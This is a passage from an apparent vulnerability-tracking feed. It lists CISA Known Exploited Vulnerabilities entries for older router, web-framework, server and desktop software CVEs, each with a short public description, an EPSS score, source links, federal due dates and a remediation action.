(https://api.first.org/data/v1/epss?cve=CVE-2016-4171&date=2026-10-25). Sources: CISA KEV entry CVE-2016-4171: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-4171&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### NETGEAR Multiple WAP Devices Command Injection Vulnerability https://kevwire.com/record/CVE-2016-1555 NETGEAR Multiple WAP Devices Command Injection Vulnerability (Mar 25, 2022). Multiple NETGEAR Wireless Access Point devices allows unauthenticated web pages to pass form input directly to the command-line interface. Exploitation allows for arbitrary code execution. EPSS 98.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-1555&date=2026-10-25). Sources: CISA KEV entry CVE-2016-1555: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-1555&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DCS-930L Devices OS Command Injection Vulnerability https://kevwire.com/record/CVE-2016-11021 D-Link DCS-930L Devices OS Command Injection Vulnerability (Mar 25, 2022). setSystemCommand on D-Link DCS-930L devices allows a remote attacker to execute code via an OS command. EPSS 69.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-11021&date=2026-10-25). Sources: CISA KEV entry CVE-2016-11021: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-11021&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### NETGEAR WNR2000v5 Router Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2016-10174 NETGEAR WNR2000v5 Router Buffer Overflow Vulnerability (Mar 25, 2022). The NETGEAR WNR2000v5 router contains a buffer overflow which can be exploited to achieve remote code execution. EPSS 83.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-10174&date=2026-10-25). Sources: CISA KEV entry CVE-2016-10174: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-10174&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ruby on Rails Directory Traversal Vulnerability https://kevwire.com/record/CVE-2016-0752 Ruby on Rails Directory Traversal Vulnerability (Mar 25, 2022). Directory traversal vulnerability in Action View in Ruby on Rails allows remote attackers to read arbitrary files. EPSS 95.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0752&date=2026-10-25). Sources: CISA KEV entry CVE-2016-0752: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0752&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Arcserve Unified Data Protection (UDP) Directory Traversal Vulnerability https://kevwire.com/record/CVE-2015-4068 Arcserve Unified Data Protection (UDP) Directory Traversal Vulnerability (Mar 25, 2022). Directory traversal vulnerability in Arcserve UDP allows remote attackers to obtain sensitive information or cause a denial of service. EPSS 63.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-4068&date=2026-10-25). Sources: CISA KEV entry CVE-2015-4068: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-4068&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TP-Link Multiple Archer Devices Directory Traversal Vulnerability https://kevwire.com/record/CVE-2015-3035 TP-Link Multiple Archer Devices Directory Traversal Vulnerability (Mar 25, 2022). Directory traversal vulnerability in multiple TP-Link Archer devices allows remote attackers to read arbitrary files via a .. (dot dot) in the PATH_INFO to login/. EPSS 83.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-3035&date=2026-10-25). Sources: CISA KEV entry CVE-2015-3035: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-3035&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Elasticsearch Groovy Scripting Engine Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2015-1427 Elasticsearch Groovy Scripting Engine Remote Code Execution Vulnerability (Mar 25, 2022). The Groovy scripting engine in Elasticsearch allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1427&date=2026-10-25). Sources: CISA KEV entry CVE-2015-1427: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1427&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link and TRENDnet Multiple Devices Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2015-1187 D-Link and TRENDnet Multiple Devices Remote Code Execution Vulnerability (Mar 25, 2022). The ping tool in multiple D-Link and TRENDnet devices allow remote attackers to perform remote code execution. EPSS 82.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1187&date=2026-10-25). Sources: CISA KEV entry CVE-2015-1187: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1187&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Prime Data Center Network Manager (DCNM) Directory Traversal Vulnerability https://kevwire.com/record/CVE-2015-0666 Cisco Prime Data Center Network Manager (DCNM) Directory Traversal Vulnerability (Mar 25, 2022). Directory traversal vulnerability in the fmserver servlet in Cisco Prime Data Center Network Manager (DCNM) allows remote attackers to read arbitrary files. EPSS 40.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-0666&date=2026-10-25). Sources: CISA KEV entry CVE-2015-0666: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-0666&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Object Linking & Embedding (OLE) Automation Array Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2014-6332 Microsoft Windows Object Linking & Embedding (OLE) Automation Array Remote Code Execution Vulnerability (Mar 25, 2022). OleAut32.dll in OLE in Microsoft Windows allows remote attackers to remotely execute code via a crafted web site. EPSS 94.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-6332&date=2026-10-25). Sources: CISA KEV entry CVE-2014-6332: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-6332&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Kerberos Key Distribution Center (KDC) Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2014-6324 Microsoft Kerberos Key Distribution Center (KDC) Privilege Escalation Vulnerability (Mar 25, 2022). The Kerberos Key Distribution Center (KDC) in Microsoft allows remote authenticated domain users to obtain domain administrator privileges. EPSS 87.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-6324&date=2026-10-25). Sources: CISA KEV entry CVE-2014-6324: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-6324&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Rejetto HTTP File Server (HFS) Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2014-6287 Rejetto HTTP File Server (HFS) Remote Code Execution Vulnerability (Mar 25, 2022). The findMacroMarker function in parserLib.pas in Rejetto HTTP File Server (HFS or HttpFileServer) allows remote attackers to execute arbitrary programs. EPSS 99.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-6287&date=2026-10-25). Sources: CISA KEV entry CVE-2014-6287: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-6287&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Elasticsearch Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2014-3120 Elasticsearch Remote Code Execution Vulnerability (Mar 25, 2022). Elasticsearch enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code. EPSS 88.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-3120&date=2026-10-25). Sources: CISA KEV entry CVE-2014-3120: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-3120&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ruby on Rails Directory Traversal Vulnerability https://kevwire.com/record/CVE-2014-0130 Ruby on Rails Directory Traversal Vulnerability (Mar 25, 2022). Directory traversal vulnerability in actionpack/lib/abstract_controller/base.rb in the implicit-render implementation in Ruby on Rails allows remote attackers to read arbitrary files via a crafted request. EPSS 53.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0130&date=2026-10-25). Sources: CISA KEV entry CVE-2014-0130: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0130&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DSL-2760U Gateway Cross-Site Scripting Vulnerability https://kevwire.com/record/CVE-2013-5223 D-Link DSL-2760U Gateway Cross-Site Scripting Vulnerability (Mar 25, 2022). A cross-site scripting (XSS) vulnerability exists in the D-Link DSL-2760U gateway, allowing remote authenticated users to inject arbitrary web script or HTML. EPSS 50.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-5223&date=2026-10-25). Sources: CISA KEV entry CVE-2013-5223: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-5223&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Hewlett Packard (HP) ProCurve Manager (PCM), PCM+, Identity Driven Manager (IDM), and Application Lifecycle Management: HP Multiple Products Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2013-4810 Hewlett Packard (HP) ProCurve Manager (PCM), PCM+, Identity Driven Manager (IDM), and Application Lifecycle Management: HP Multiple Products Remote Code Execution Vulnerability (Mar 25, 2022). HP ProCurve Manager (PCM), PCM+, Identity Driven Manager (IDM), and Application Lifecycle Management allow remote attackers to execute arbitrary code via a marshalled object to (1) EJBInvokerServlet or (2) JMXInvokerServlet. EPSS 79.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-4810&date=2026-10-25). Sources: CISA KEV entry CVE-2013-4810: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-4810&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache Struts Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2013-2251 Apache Struts Improper Input Validation Vulnerability (Mar 25, 2022). Apache Struts allows remote attackers to execute arbitrary Object-Graph Navigation Language (OGNL) expressions. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-2251&date=2026-10-25). Sources: CISA KEV entry CVE-2013-2251: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-2251&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### PHP-CGI Query String Parameter Vulnerability https://kevwire.com/record/CVE-2012-1823 PHP-CGI Query String Parameter Vulnerability (Mar 25, 2022). sapi/cgi/cgi_main.c in PHP, when configured as a CGI script, does not properly handle query strings, which allows remote attackers to execute arbitrary code. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-1823&date=2026-10-25). Sources: CISA KEV entry CVE-2012-1823: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-1823&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Exim Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2010-4345 Exim Privilege Escalation Vulnerability (Mar 25, 2022). Exim allows local users to gain privileges by leveraging the ability of the exim user account to specify an alternate configuration file with a directive that contains arbitrary commands. EPSS 18.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-4345&date=2026-10-25). Sources: CISA KEV entry CVE-2010-4345: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-4345&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Exim Heap-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2010-4344 Exim Heap-Based Buffer Overflow Vulnerability (Mar 25, 2022). Heap-based buffer overflow in the string_vformat function in string.c in Exim before 4.70 allows remote attackers to execute arbitrary code via an SMTP session. EPSS 71.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-4344&date=2026-10-25). Sources: CISA KEV entry CVE-2010-4344: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-4344&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS XR Border Gateway Protocol (BGP) Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2010-3035 Cisco IOS XR Border Gateway Protocol (BGP) Denial-of-Service Vulnerability (Mar 25, 2022). Cisco IOS XR, when BGP is the configured routing feature, allows remote attackers to cause a denial-of-service (DoS). EPSS 5.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-3035&date=2026-10-25). Sources: CISA KEV entry CVE-2010-3035: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-3035&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe ColdFusion Directory Traversal Vulnerability https://kevwire.com/record/CVE-2010-2861 Adobe ColdFusion Directory Traversal Vulnerability (Mar 25, 2022). A directory traversal vulnerability exists in the administrator console in Adobe ColdFusion which allows remote attackers to read arbitrary files. EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-2861&date=2026-10-25). Sources: CISA KEV entry CVE-2010-2861: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-2861&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS XR Border Gateway Protocol (BGP) Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2009-2055 Cisco IOS XR Border Gateway Protocol (BGP) Denial-of-Service Vulnerability (Mar 25, 2022). Cisco IOS XR,when BGP is the configured routing feature, allows remote attackers to cause a denial-of-service (DoS). EPSS 3.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-2055&date=2026-10-25). Sources: CISA KEV entry CVE-2009-2055: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-2055&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### phpMyAdmin Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2009-1151 phpMyAdmin Remote Code Execution Vulnerability (Mar 25, 2022). Setup script used to generate configuration can be fooled using a crafted POST request to include arbitrary PHP code in generated configuration file. EPSS 96.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-1151&date=2026-10-25). Sources: CISA KEV entry CVE-2009-1151: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-1151&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Reader and Adobe Acrobat Stack-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2009-0927 Adobe Reader and Adobe Acrobat Stack-Based Buffer Overflow Vulnerability (Mar 25, 2022). Stack-based buffer overflow in Adobe Reader and Adobe Acrobat allows remote attackers to execute arbitrary code. EPSS 96.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-0927&date=2026-10-25). Sources: CISA KEV entry CVE-2009-0927: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-0927&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Hewlett Packard (HP) OpenView Network Node Manager: HP OpenView Network Node Manager Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2005-2773 Hewlett Packard (HP) OpenView Network Node Manager: HP OpenView Network Node Manager Remote Code Execution Vulnerability (Mar 25, 2022). HP OpenView Network Node Manager could allow a remote attacker to execute arbitrary commands on the system. EPSS 74.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2005-2773&date=2026-10-25). Sources: CISA KEV entry CVE-2005-2773: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2005-2773&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SonicWall SonicOS Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2020-5135 SonicWall SonicOS Buffer Overflow Vulnerability (Mar 15, 2022). A buffer overflow vulnerability in SonicOS allows a remote 